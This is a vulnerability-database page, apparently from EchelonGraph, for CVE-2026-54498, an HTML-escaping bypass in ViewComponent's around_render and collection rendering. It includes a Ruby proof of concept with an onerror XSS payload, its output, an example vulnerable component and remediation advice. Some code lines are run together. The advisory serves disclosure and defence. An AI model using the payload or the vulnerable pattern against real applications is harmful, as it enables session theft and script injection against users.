CVE-2026-54498

HIGHPre-NVD 8.78.7
EchelonGraph scoreLOW confidence

This high-severity CVE scores 8.7 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
8.7
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 8.7Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

ViewComponent: around_render HTML-Safety Bypass

Summary

ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data.

The issue is especially dangerous in collection rendering because ViewComponent::Collection#render_in joins the per-item results and marks the entire output as html_safe, converting raw unsafe output into a trusted ActiveSupport::SafeBuffer.

Affected Code

Validated against:

  • Repository commit: eea79445
  • Ruby: 3.4.9

Relevant locations:

  • lib/view_component/base.rb
  • render_in
  • around_render
  • __vc_maybe_escape_html
  • lib/view_component/template.rb
  • InlineCall#safe_method_name_call
  • lib/view_component/collection.rb
  • Collection#render_in

Key code paths:

# lib/view_component/base.rb
around_render do
  render_template_for(@__vc_requested_details).to_s
end

# lib/view_component/template.rb
proc do
  __vc_maybe_escape_html(send(m)) do
    Kernel.warn(...)
  end
end

# lib/view_component/collection.rb
components.map do |component|
  component.render_in(view_context, &block)
end.join(rendered_spacer(view_context)).html_safe

Root Cause

Normal inline #call output is passed through __vc_maybe_escape_html, which escapes HTML-unsafe strings. However, when around_render itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.

This creates two different output-safety behaviors:

  • #call returning unsafe string: escaped
  • #around_render returning unsafe string: raw

Collection rendering then amplifies the issue by calling .html_safe on the joined result.

Proof of Concept

Run from the repository root:

$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"

class PocController < ActionController::Base; end

def vc c = PocController.new c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc"))) c.set_response!(ActionDispatch::Response.new) c.view_context end

PAYLOAD = ""

class UnsafeCallComponent < ViewComponent::Base def initialize(payload:) = @payload = payload def call = @payload end

class UnsafeAroundComponent < ViewComponent::Base def initialize(payload:) = @payload = payload def call = "SAFE" def around_render = @payload end

class UnsafeAroundCollectionComponent < ViewComponent::Base with_collection_parameter :payload def initialize(payload:) = @payload = payload def call = "SAFE" def around_render = @payload end

view_context = vc

normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context) around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context) collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)

puts "normal_call=#{normal}" puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}" puts "around_render=#{around}" puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}" puts "collection=#{collection}" puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}"

c = PocController.new c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc"))) c.set_response!(ActionDispatch::Response.new) out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD)) puts "controller_render_to_string=#{out}" puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}"

Observed output:

normal_call=&lt;img src=x onerror=alert(1)&gt;
normal_call_raw=false html_safe=true
around_render=
around_render_raw=true html_safe=false
collection=
collection_raw=true html_safe=true
controller_render_to_string=
controller_raw=true html_safe=false

The control case confirms that normal #call output is escaped. The around_render cases confirm that the same payload is emitted raw.

Exploit Scenario

A downstream application defines a component that uses around_render for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML.

Example vulnerable pattern:

class BannerComponent < ViewComponent::Base
  def initialize(message:)
    @message = message
  end

def call "fallback" end

def around_render "#{@message}" end end

If message is user-controlled, scriptable HTML reaches the browser.

Impact

Successful exploitation allows XSS in applications using affected components. Depending on application context, impact can include:

  • session or token theft where cookies/tokens are accessible
  • authenticated actions as the victim
  • CSRF bypass through same-origin script execution
  • exfiltration of page data
  • credential phishing or UI redress inside trusted application origin

The collection path is particularly risky because it converts the joined raw output to html_safe, which can suppress later escaping.

Preconditions

  • The application defines or uses a component overriding around_render.
  • around_render returns or wraps attacker-influenced HTML-unsafe content.
  • The component is rendered in a browser-visible response.
  • Higher impact when rendered through ViewComponent::Collection or controller/direct rendering.

Chaining Potential

This finding can chain with:

  • preview routes or examples that accept URL parameters and render components
  • unsafe markdown or CMS content rendered inside around_render
  • CSP-disabled preview routes
  • applications that expose admin-only pages containing affected components

Remediation

Apply the same HTML-safety enforcement to around_render return values that is applied to normal inline #call output.

Possible approaches:

  • Wrap the result of around_render with __vc_maybe_escape_html when the current template is HTML.
  • Require around_render to return an ActiveSupport::SafeBuffer to opt into raw HTML.
  • In collection rendering, avoid blindly calling .html_safe on joined component outputs unless each item has been normalized through the same safety boundary.

CVSS v3
8.7
EG Score
8.7(low)
EPSS
KEV
Not listed

Published

July 15, 2026

Last Modified

July 15, 2026

Vendor Advisories for CVE-2026-54498(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 1× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-15 22:54 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-54498?
CVE-2026-54498 is a high vulnerability published on July 15, 2026. ViewComponent: around_render HTML-Safety Bypass Summary ViewComponent::Base#aroundrender can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use aroundrender to wrap, replace, instrument, or…
When was CVE-2026-54498 disclosed?
CVE-2026-54498 was first published in the National Vulnerability Database on July 15, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-54498?
CVE-2026-54498 has a CVSS v4.0 base score of 8.7 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-54498?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-54498, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-54498

Explore →

Is Your Infrastructure Affected by CVE-2026-54498?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.